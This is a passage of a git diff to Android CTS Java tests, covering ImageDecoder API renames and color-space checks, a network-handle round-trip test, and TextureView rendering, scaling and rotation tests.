-                decoder.setRequireUnpremultiplied(true);
+                decoder.setUnpremultipliedRequired(true);
             });
         } catch (IOException e) {
             fail("Failed with exception " + e);
@@ -1455,7 +1450,7 @@
         } catch (IOException e) {
             fail("Failed with exception " + e);
         }
-        l.cachedDecoder.setSampleSize(2);
+        l.cachedDecoder.setTargetSampleSize(2);
     }
 
     @Test(expected=IllegalStateException.class)
@@ -1463,7 +1458,7 @@
         ImageDecoder.Source src = mCreators[0].apply(R.drawable.png_test);
         try {
             ImageDecoder.decodeDrawable(src, (decoder, info, s) ->
-                    decoder.setRequireUnpremultiplied(true));
+                    decoder.setUnpremultipliedRequired(true));
         } catch (IOException e) {
             fail("Failed with exception " + e);
         }
@@ -1538,13 +1533,13 @@
 
     @Test
     public void testAlphaMaskNonGray() {
-        // It is safe to call setDecodeAsAlphaMask on a non-gray image.
+        // It is safe to call setDecodeAsAlphaMaskEnabled on a non-gray image.
         SourceCreator f = mCreators[0];
         ImageDecoder.Source src = f.apply(R.drawable.png_test);
         assertNotNull(src);
         try {
             Bitmap bm = ImageDecoder.decodeBitmap(src, (decoder, info, s) -> {
-                decoder.setDecodeAsAlphaMask(true);
+                decoder.setDecodeAsAlphaMaskEnabled(true);
                 decoder.setAllocator(ImageDecoder.ALLOCATOR_SOFTWARE);
             });
             assertNotNull(bm);
@@ -1562,7 +1557,7 @@
         assertNotNull(src);
         try {
             ImageDecoder.decodeDrawable(src, (decoder, info, s) -> {
-                decoder.setDecodeAsAlphaMask(true);
+                decoder.setDecodeAsAlphaMaskEnabled(true);
                 decoder.setAllocator(ImageDecoder.ALLOCATOR_HARDWARE);
             });
         } catch (IOException e) {
@@ -1576,13 +1571,13 @@
         ImageDecoder.Source src = mCreators[0].apply(resId);
         try {
             ImageDecoder.decodeDrawable(src, (decoder, info, s) -> {
-                assertFalse(decoder.getDecodeAsAlphaMask());
+                assertFalse(decoder.isDecodeAsAlphaMaskEnabled());
 
-                decoder.setDecodeAsAlphaMask(true);
-                assertTrue(decoder.getDecodeAsAlphaMask());
+                decoder.setDecodeAsAlphaMaskEnabled(true);
+                assertTrue(decoder.isDecodeAsAlphaMaskEnabled());
 
-                decoder.setDecodeAsAlphaMask(false);
-                assertFalse(decoder.getDecodeAsAlphaMask());
+                decoder.setDecodeAsAlphaMaskEnabled(false);
+                assertFalse(decoder.isDecodeAsAlphaMaskEnabled());
             });
         } catch (IOException e) {
             fail("Failed " + getAsResourceUri(resId) + " with exception " + e);
@@ -1598,7 +1593,7 @@
             @Override
             public void onHeaderDecoded(ImageDecoder decoder, ImageDecoder.ImageInfo info,
                                         ImageDecoder.Source src) {
-                decoder.setDecodeAsAlphaMask(true);
+                decoder.setDecodeAsAlphaMaskEnabled(true);
                 Size size = info.getSize();
                 if (doScale) {
                     decoder.setTargetSize(size.getWidth() / 2,
@@ -1997,44 +1992,201 @@
         public final String name;
         public final int width;
         public final int height;
+        public final boolean isF16;
+        private final ColorSpace mColorSpace;
 
-        AssetRecord(String name, int width, int height) {
+        AssetRecord(String name, int width, int height, boolean isF16, ColorSpace colorSpace) {
             this.name = name;
             this.width = width;
             this.height = height;
+            this.isF16 = isF16;
+            mColorSpace = colorSpace;
+        }
+
+        public void checkColorSpace(ColorSpace requested, ColorSpace actual) {
+            assertNotNull(actual);
+            if (this.isF16) {
+                assertSame(ColorSpace.get(ColorSpace.Named.LINEAR_EXTENDED_SRGB), actual);
+            } else if (requested != null) {
+                assertSame(requested, actual);
+            } else if (mColorSpace == null) {
+                assertEquals(this.name, "Unknown", actual.getName());
+            } else {
+                assertSame(this.name, mColorSpace, actual);
+            }
         }
     }
 
+    private static final AssetRecord[] ASSETS = new AssetRecord[] {
+            // A null ColorSpace means that the color space is "Unknown".
+            new AssetRecord("almost-red-adobe.png", 1, 1, false, null),
+            new AssetRecord("green-p3.png", 64, 64, false,
+                    ColorSpace.get(ColorSpace.Named.DISPLAY_P3)),
+            new AssetRecord("green-srgb.png", 64, 64, false, sSRGB),
+            new AssetRecord("prophoto-rgba16f.png", 64, 64, true,
+                    ColorSpace.get(ColorSpace.Named.LINEAR_EXTENDED_SRGB)),
+            new AssetRecord("purple-cmyk.png", 64, 64, false, sSRGB),
+            new AssetRecord("purple-displayprofile.png", 64, 64, false, null),
+            new AssetRecord("red-adobergb.png", 64, 64, false,
+                    ColorSpace.get(ColorSpace.Named.ADOBE_RGB)),
+            new AssetRecord("translucent-green-p3.png", 64, 64, false,
+                    ColorSpace.get(ColorSpace.Named.DISPLAY_P3)),
+    };
+
     @Test
     public void testAssetSource() {
-        AssetRecord[] records = new AssetRecord[] {
-                new AssetRecord("almost-red-adobe.png", 1, 1),
-                new AssetRecord("green-p3.png", 64, 64),
-                new AssetRecord("green-srgb.png", 64, 64),
-                new AssetRecord("prophoto-rgba16f.png", 64, 64),
-                new AssetRecord("purple-cmyk.png", 64, 64),
-                new AssetRecord("purple-displayprofile.png", 64, 64),
-                new AssetRecord("red-adobergb.png", 64, 64),
-                new AssetRecord("translucent-green-p3.png", 64, 64),
-        };
-
-        // CTS infrastructure fails to create F16 HARDWARE Bitmaps, so this switches
-        // to using software.
-        ImageDecoder.OnHeaderDecodedListener listener = (decoder, info, s) -> {
-            decoder.setAllocator(ImageDecoder.ALLOCATOR_SOFTWARE);
-        };
-
         AssetManager assets = mRes.getAssets();
-        for (AssetRecord record : records) {
+        for (AssetRecord record : ASSETS) {
             ImageDecoder.Source src = ImageDecoder.createSource(assets, record.name);
             try {
-                Drawable dr = ImageDecoder.decodeDrawable(src, listener);
-                assertNotNull(record.name, dr);
-                assertEquals(record.name, record.width, dr.getIntrinsicWidth());
-                assertEquals(record.name, record.height, dr.getIntrinsicHeight());
+                Bitmap bm = ImageDecoder.decodeBitmap(src, (decoder, info, s) -> {
+                    if (record.isF16) {
+                        // CTS infrastructure fails to create F16 HARDWARE Bitmaps, so this
+                        // switches to using software.
+                        decoder.setAllocator(ImageDecoder.ALLOCATOR_SOFTWARE);
+                    }
+
+                    record.checkColorSpace(null, info.getColorSpace());
+                });
+                assertEquals(record.name, record.width, bm.getWidth());
+                assertEquals(record.name, record.height, bm.getHeight());
+                record.checkColorSpace(null, bm.getColorSpace());
             } catch (IOException e) {
                 fail("Failed to decode asset " + record.name + " with " + e);
             }
         }
     }
+
+    @Test
+    public void testTargetColorSpace() {
+        AssetManager assets = mRes.getAssets();
+        for (AssetRecord record : ASSETS) {
+            ImageDecoder.Source src = ImageDecoder.createSource(assets, record.name);
+            for (ColorSpace cs : new ColorSpace[] {
+                    sSRGB,
+                    ColorSpace.get(ColorSpace.Named.LINEAR_EXTENDED_SRGB),
+                    ColorSpace.get(ColorSpace.Named.DISPLAY_P3),
+                    ColorSpace.get(ColorSpace.Named.ADOBE_RGB),
+                    ColorSpace.get(ColorSpace.Named.BT709),
+                    ColorSpace.get(ColorSpace.Named.BT2020),
+                    ColorSpace.get(ColorSpace.Named.DCI_P3),
+                    ColorSpace.get(ColorSpace.Named.NTSC_1953),
+                    ColorSpace.get(ColorSpace.Named.SMPTE_C),
+                    ColorSpace.get(ColorSpace.Named.PRO_PHOTO_RGB),
+                    // FIXME: These will not match due to b/77276533.
+                    // ColorSpace.get(ColorSpace.Named.LINEAR_SRGB),
+                    // ColorSpace.get(ColorSpace.Named.ACES),
+                    // ColorSpace.get(ColorSpace.Named.ACESCG),
+            }) {
+                try {
+                    Bitmap bm = ImageDecoder.decodeBitmap(src, (decoder, info, s) -> {
+                        if (record.isF16) {
+                            // CTS infrastructure fails to create F16 HARDWARE Bitmaps, so this
+                            // switches to using software.
+                            decoder.setAllocator(ImageDecoder.ALLOCATOR_SOFTWARE);
+                        }
+                        decoder.setTargetColorSpace(cs);
+                    });
+                    record.checkColorSpace(cs, bm.getColorSpace());
+                } catch (IOException e) {
+                    fail("Failed to decode asset " + record.name + " to " + cs + " with " + e);
+                }
+            }
+        }
+    }
+
+    @Test
+    public void testTargetColorSpaceNonRGB() {
+        ImageDecoder.Source src = mCreators[0].apply(R.drawable.png_test);
+        for (ColorSpace cs : new ColorSpace[] {
+                ColorSpace.get(ColorSpace.Named.EXTENDED_SRGB),
+                ColorSpace.get(ColorSpace.Named.CIE_LAB),
+                ColorSpace.get(ColorSpace.Named.CIE_XYZ),
+        }) {
+            try {
+                ImageDecoder.decodeDrawable(src, (decoder, info, s) -> {
+                    decoder.setTargetColorSpace(cs);
+                });
+                fail("Should have thrown an IllegalArgumentException for setTargetColorSpace("
+                        + cs + ")!");
+            } catch (IOException e) {
+                fail("Failed to decode png_test with " + e);
+            } catch (IllegalArgumentException illegal) {
+                // This is expected.
+            }
+        }
+    }
+
+    private Bitmap drawToBitmap(Drawable dr) {
+        Bitmap bm = Bitmap.createBitmap(dr.getIntrinsicWidth(), dr.getIntrinsicHeight(),
+                Bitmap.Config.ARGB_8888);
+        Canvas canvas = new Canvas(bm);
+        dr.draw(canvas);
+        return bm;
+    }
+
+    private void testReuse(ImageDecoder.Source src, String name) {
+        Drawable first = null;
+        try {
+            first = ImageDecoder.decodeDrawable(src, (decoder, info, s) -> {
+                decoder.setAllocator(ImageDecoder.ALLOCATOR_SOFTWARE);
+            });
+        } catch (IOException e) {
+            fail("Failed on first decode of " + name + " using " + src + "!");
+        }
+
+        Drawable second = null;
+        try {
+            second = ImageDecoder.decodeDrawable(src, (decoder, info, s) -> {
+                decoder.setAllocator(ImageDecoder.ALLOCATOR_SOFTWARE);
+            });
+        } catch (IOException e) {
+            fail("Failed on second decode of " + name + " using " + src + "!");
+        }
+
+        assertEquals(first.getIntrinsicWidth(), second.getIntrinsicWidth());
+        assertEquals(first.getIntrinsicHeight(), second.getIntrinsicHeight());
+
+        Bitmap bm1 = drawToBitmap(first);
+        Bitmap bm2 = drawToBitmap(second);
+        BitmapUtils.compareBitmaps(bm1, bm2);
+    }
+
+    @Test
+    @LargeTest
+    public void testReuse() {
+        for (Record record : RECORDS) {
+            String name = getAsResourceUri(record.resId).toString();
+            for (SourceCreator f : mCreators) {
+                ImageDecoder.Source src = f.apply(record.resId);
+                testReuse(src, name);
+            }
+
+            {
+                ImageDecoder.Source src = ImageDecoder.createSource(mRes, record.resId);
+                testReuse(src, name);
+            }
+
+            for (UriCreator f : mUriCreators) {
+                Uri uri = f.apply(record.resId);
+                ImageDecoder.Source src = ImageDecoder.createSource(mContentResolver, uri);
+                testReuse(src, uri.toString());
+            }
+
+            {
+                ImageDecoder.Source src = ImageDecoder.createSource(getAsFile(record.resId));
+                testReuse(src, name);
+            }
+        }
+
+        AssetManager assets = mRes.getAssets();
+        for (AssetRecord record : ASSETS) {
+            ImageDecoder.Source src = ImageDecoder.createSource(assets, record.name);
+            testReuse(src, record.name);
+        }
+
+
+        ImageDecoder.Source src = mCreators[0].apply(R.drawable.animated);
+        testReuse(src, "animated.gif");
+    }
 }
diff --git a/tests/tests/net/src/android/net/cts/MultinetworkApiTest.java b/tests/tests/net/src/android/net/cts/MultinetworkApiTest.java
index 51ee50e..b2c9d9b 100644
--- a/tests/tests/net/src/android/net/cts/MultinetworkApiTest.java
+++ b/tests/tests/net/src/android/net/cts/MultinetworkApiTest.java
@@ -152,4 +152,27 @@
         // to query on the default network.
         // assertEquals(-OsConstants.ENONET, runGetaddrinfoCheck(eNoNetHandle));
     }
+
+    public void testNetworkHandle() {
+        // Test Network -> NetworkHandle -> Network results in the same Network.
+        for (Network network : getTestableNetworks()) {
+            long networkHandle = network.getNetworkHandle();
+            Network newNetwork = Network.fromNetworkHandle(networkHandle);
+            assertEquals(newNetwork, network);
+        }
+
+        // Test that only obfuscated handles are allowed.
+        try {
+            Network.fromNetworkHandle(100);
+            fail();
+        } catch (IllegalArgumentException e) {}
+        try {
+            Network.fromNetworkHandle(-1);
+            fail();
+        } catch (IllegalArgumentException e) {}
+        try {
+            Network.fromNetworkHandle(0);
+            fail();
+        } catch (IllegalArgumentException e) {}
+    }
 }
diff --git a/tests/tests/view/src/android/view/cts/PixelCopyTest.java b/tests/tests/view/src/android/view/cts/PixelCopyTest.java
index 2088b7c..e5f6560 100644
--- a/tests/tests/view/src/android/view/cts/PixelCopyTest.java
+++ b/tests/tests/view/src/android/view/cts/PixelCopyTest.java
@@ -729,7 +729,7 @@
         return bitmap.getPixel((int) (bitmap.getWidth() * xpos), (int) (bitmap.getHeight() * ypos));
     }
 
-    private void assertBitmapQuadColor(Bitmap bitmap, int topLeft, int topRight,
+    public static void assertBitmapQuadColor(Bitmap bitmap, int topLeft, int topRight,
                 int bottomLeft, int bottomRight) {
         // Just quickly sample 4 pixels in the various regions.
         assertEquals("Top left " + Integer.toHexString(topLeft) + ", actual= "
diff --git a/tests/tests/view/src/android/view/cts/TextureViewCtsActivity.java b/tests/tests/view/src/android/view/cts/TextureViewCtsActivity.java
index e71e275..3dad097 100644
--- a/tests/tests/view/src/android/view/cts/TextureViewCtsActivity.java
+++ b/tests/tests/view/src/android/view/cts/TextureViewCtsActivity.java
@@ -22,6 +22,7 @@
 
 import android.app.Activity;
 import android.graphics.Color;
+import android.graphics.Matrix;
 import android.graphics.SurfaceTexture;
 import android.opengl.GLUtils;
 import android.os.Bundle;
@@ -54,6 +55,8 @@
     private CountDownLatch mEnterAnimationFence = new CountDownLatch(1);
 
     private SurfaceTexture mSurface;
+    private int mSurfaceWidth;
+    private int mSurfaceHeight;
     private int mSurfaceUpdatedCount;
 
     static final int EGL_CONTEXT_CLIENT_VERSION = 0x3098;
@@ -91,6 +94,16 @@
     }
 
     @Override
+    protected void onDestroy() {
+        super.onDestroy();
+        try {
+            runOnGLThread(this::doFinishGL);
+        } catch (Throwable t) {
+            throw new RuntimeException(t);
+        }
+    }
+
+    @Override
     public void onEnterAnimationComplete() {
         super.onEnterAnimationComplete();
         mEnterAnimationFence.countDown();
@@ -136,6 +149,10 @@
         }
     }
 
+    public TextureView getTextureView() {
+        return mTextureView;
+    }
+
     public void waitForSurface() throws InterruptedException {
         synchronized (mLock) {
             while (mSurface == null) {
@@ -162,9 +179,34 @@
         });
     }
 
-    public void finishGL() throws Throwable {
-        if (mEglSurface == null) return;
-        runOnGLThread(() -> doFinishGL());
+    interface DrawFrame {
+        void drawFrame(int width, int height);
+    }
+
+    public void drawFrame(Matrix transform, DrawFrame callback) throws Throwable {
+        CountDownLatch fence = new CountDownLatch(1);
+        runOnUiThread(() -> {
+            mTextureView.setTransform(transform);
+            fence.countDown();
+        });
+        waitForEnterAnimationComplete();
+        waitForSurface();
+        initGl();
+        fence.await();
+        int surfaceUpdateCount = mSurfaceUpdatedCount;
+        runOnGLThread(() -> {
+            callback.drawFrame(mSurfaceWidth, mSurfaceHeight);
+            if (!mEgl.eglSwapBuffers(mEglDisplay, mEglSurface)) {
+                throw new RuntimeException("Cannot swap buffers");
+            }
+        });
+        waitForSurfaceUpdateCount(surfaceUpdateCount + 1);
+    }
+
+    private static final Matrix IDENTITY = new Matrix();
+
+    public void drawFrame(DrawFrame callback) throws Throwable {
+        drawFrame(IDENTITY, callback);
     }
 
     public int waitForSurfaceUpdateCount(int updateCount) throws InterruptedException {
@@ -181,17 +223,25 @@
     }
 
     private void doFinishGL() {
-        mEgl.eglDestroyContext(mEglDisplay, mEglContext);
-        mEglContext = null;
-        mEgl.eglDestroySurface(mEglDisplay, mEglSurface);
-        mEglSurface = null;
-        mEgl.eglTerminate(mEglDisplay);
+        if (mEglSurface != null) {
+            mEgl.eglDestroySurface(mEglDisplay, mEglSurface);
+            mEglSurface = null;
+        }
+        if (mEglContext != null) {
+            mEgl.eglDestroyContext(mEglDisplay, mEglContext);
+            mEglContext = null;
+        }
+        if (mEglDisplay != null) {
+            mEgl.eglTerminate(mEglDisplay);
+        }
     }
 
     @Override
     public void onSurfaceTextureAvailable(SurfaceTexture surface, int width, int height) {
         synchronized (mLock) {
             mSurface = surface;
+            mSurfaceWidth = width;
+            mSurfaceHeight = height;
             mLock.notifyAll();
         }
     }
diff --git a/tests/tests/view/src/android/view/cts/TextureViewTest.java b/tests/tests/view/src/android/view/cts/TextureViewTest.java
index f66e137..8f284d9 100644
--- a/tests/tests/view/src/android/view/cts/TextureViewTest.java
+++ b/tests/tests/view/src/android/view/cts/TextureViewTest.java
@@ -16,24 +16,31 @@
 
 package android.view.cts;
 
+import static android.opengl.GLES20.GL_COLOR_BUFFER_BIT;
+import static android.opengl.GLES20.GL_SCISSOR_TEST;
+import static android.opengl.GLES20.glClear;
+import static android.opengl.GLES20.glClearColor;
+import static android.opengl.GLES20.glEnable;
+import static android.opengl.GLES20.glScissor;
+
 import static org.junit.Assert.assertEquals;
-import static org.junit.Assert.assertNotNull;
 import static org.junit.Assert.assertTrue;
 
 import android.graphics.Bitmap;
 import android.graphics.Color;
+import android.graphics.Matrix;
 import android.graphics.Point;
 import android.support.test.filters.MediumTest;
 import android.support.test.rule.ActivityTestRule;
 import android.support.test.runner.AndroidJUnit4;
 import android.view.PixelCopy;
+import android.view.TextureView;
 import android.view.View;
 import android.view.Window;
 
 import com.android.compatibility.common.util.SynchronousPixelCopy;
 import com.android.compatibility.common.util.WidgetTestUtils;
 
-import org.junit.Before;
 import org.junit.Rule;
 import org.junit.Test;
 import org.junit.runner.RunWith;
@@ -43,72 +50,120 @@
 @MediumTest
 @RunWith(AndroidJUnit4.class)
 public class TextureViewTest {
-    private TextureViewCtsActivity mActivity;
-    private SynchronousPixelCopy mPixelCopy;
-    private Window mWindow;
 
     @Rule
     public ActivityTestRule<TextureViewCtsActivity> mActivityRule =
-            new ActivityTestRule<>(TextureViewCtsActivity.class);
-
-    @Before
-    public void setup() {
-        mActivity = mActivityRule.getActivity();
-        mPixelCopy = new SynchronousPixelCopy();
-        assertNotNull(mActivity);
-    }
+            new ActivityTestRule<>(TextureViewCtsActivity.class, false, false);
 
     @Test
     public void testFirstFrames() throws Throwable {
-        mActivity.waitForEnterAnimationComplete();
+        final TextureViewCtsActivity activity = mActivityRule.launchActivity(null);
+        activity.waitForEnterAnimationComplete();
 
         final Point center = new Point();
+        final Window[] windowRet = new Window[1];
         mActivityRule.runOnUiThread(() -> {
-            View content = mActivity.findViewById(android.R.id.content);
+            View content = activity.findViewById(android.R.id.content);
             int[] outLocation = new int[2];
             content.getLocationOnScreen(outLocation);
             center.x = outLocation[0] + (content.getWidth() / 2);
             center.y = outLocation[1] + (content.getHeight() / 2);
-            mWindow = mActivity.getWindow();
+            windowRet[0] = activity.getWindow();
         });
+        final Window window = windowRet[0];
         assertTrue(center.x > 0);
         assertTrue(center.y > 0);
-        waitForColor(center, Color.WHITE);
-        mActivity.waitForSurface();
-        mActivity.initGl();
+        waitForColor(window, center, Color.WHITE);
+        activity.waitForSurface();
+        activity.initGl();
         int updatedCount;
-        updatedCount = mActivity.waitForSurfaceUpdateCount(0);
+        updatedCount = activity.waitForSurfaceUpdateCount(0);
         assertEquals(0, updatedCount);
-        mActivity.drawColor(Color.GREEN);
-        updatedCount = mActivity.waitForSurfaceUpdateCount(1);
+        activity.drawColor(Color.GREEN);
+        updatedCount = activity.waitForSurfaceUpdateCount(1);
         assertEquals(1, updatedCount);
-        assertEquals(Color.WHITE, getPixel(center));
+        assertEquals(Color.WHITE, getPixel(window, center));
         WidgetTestUtils.runOnMainAndDrawSync(mActivityRule,
-                mActivity.findViewById(android.R.id.content), () -> mActivity.removeCover());
+                activity.findViewById(android.R.id.content), () -> activity.removeCover());
 
-        int color = waitForChange(center, Color.WHITE);
+        int color = waitForChange(window, center, Color.WHITE);
         assertEquals(Color.GREEN, color);
-        mActivity.drawColor(Color.BLUE);
-        updatedCount = mActivity.waitForSurfaceUpdateCount(2);
+        activity.drawColor(Color.BLUE);
+        updatedCount = activity.waitForSurfaceUpdateCount(2);
         assertEquals(2, updatedCount);
-        color = waitForChange(center, color);
+        color = waitForChange(window, center, color);
         assertEquals(Color.BLUE, color);
     }
 
-    private int getPixel(Point point) {
-        Bitmap screenshot = Bitmap.createBitmap(mWindow.getDecorView().getWidth(),
-                mWindow.getDecorView().getHeight(), Bitmap.Config.ARGB_8888);
-        int result = mPixelCopy.request(mWindow, screenshot);
+    @Test
+    public void testScaling() throws Throwable {
+        final TextureViewCtsActivity activity = mActivityRule.launchActivity(null);
+        activity.drawFrame(TextureViewTest::drawGlQuad);
+        final Bitmap bitmap = Bitmap.createBitmap(10, 10, Bitmap.Config.ARGB_8888);
+        mActivityRule.runOnUiThread(() -> {
+            activity.getTextureView().getBitmap(bitmap);
+        });
+        PixelCopyTest.assertBitmapQuadColor(bitmap,
+                Color.RED, Color.GREEN, Color.BLUE, Color.BLACK);
+    }
+
+    @Test
+    public void testRotateScale() throws Throwable {
+        final TextureViewCtsActivity activity = mActivityRule.launchActivity(null);
+        final TextureView textureView = activity.getTextureView();
+        WidgetTestUtils.runOnMainAndDrawSync(mActivityRule, activity.getTextureView(), null);
+        Matrix rotate = new Matrix();
+        rotate.setRotate(180, textureView.getWidth() / 2, textureView.getHeight() / 2);
+        activity.drawFrame(rotate, TextureViewTest::drawGlQuad);
+        final Bitmap bitmap = Bitmap.createBitmap(10, 10, Bitmap.Config.ARGB_8888);
+        mActivityRule.runOnUiThread(() -> {
+            activity.getTextureView().getBitmap(bitmap);
+        });
+        PixelCopyTest.assertBitmapQuadColor(bitmap,
+                Color.BLACK, Color.BLUE, Color.GREEN, Color.RED);
+    }
+
+    private static void drawGlQuad(int width, int height) {
+        int cx = width / 2;
+        int cy = height / 2;
+
+        glEnable(GL_SCISSOR_TEST);
+
+        glScissor(0, cy, cx, height - cy);
+        clearColor(Color.RED);
+
+        glScissor(cx, cy, width - cx, height - cy);
+        clearColor(Color.GREEN);
+
+        glScissor(0, 0, cx, cy);
+        clearColor(Color.BLUE);
+
+        glScissor(cx, 0, width - cx, cy);
+        clearColor(Color.BLACK);
+    }
+
+    private static void clearColor(int color) {
+        glClearColor(Color.red(color) / 255.0f,
+                Color.green(color) / 255.0f,
+                Color.blue(color) / 255.0f,
+                Color.alpha(color) / 255.0f);
+        glClear(GL_COLOR_BUFFER_BIT);
+    }
+
+    private int getPixel(Window window, Point point) {
+        Bitmap screenshot = Bitmap.createBitmap(window.getDecorView().getWidth(),
+                window.getDecorView().getHeight(), Bitmap.Config.ARGB_8888);
+        int result = new SynchronousPixelCopy().request(window, screenshot);
         assertEquals("Copy request failed", PixelCopy.SUCCESS, result);
         int pixel = screenshot.getPixel(point.x, point.y);
         screenshot.recycle();
         return pixel;
     }
 
-    private void waitForColor(Point point, int color)
+    private void waitForColor(Window window, Point point, int color)
             throws InterruptedException, TimeoutException {
         for (int i = 0; i < 20; i++) {
-            int pixel = getPixel(point);
+            int pixel = getPixel(window, point);
             if (pixel == color) {
                 return;
             }
@@ -117,10 +172,10 @@
         throw new TimeoutException();
     }
 
-    private int waitForChange(Point point, int color)
+    private int waitForChange(Window window, Point point, int color)
             throws InterruptedException, TimeoutException {
         for (int i = 0; i < 30; i++) {
-            int pixel = getPixel(point);
+            int pixel = getPixel(window, point);
             if (pixel != color) {
                 return pixel;
             }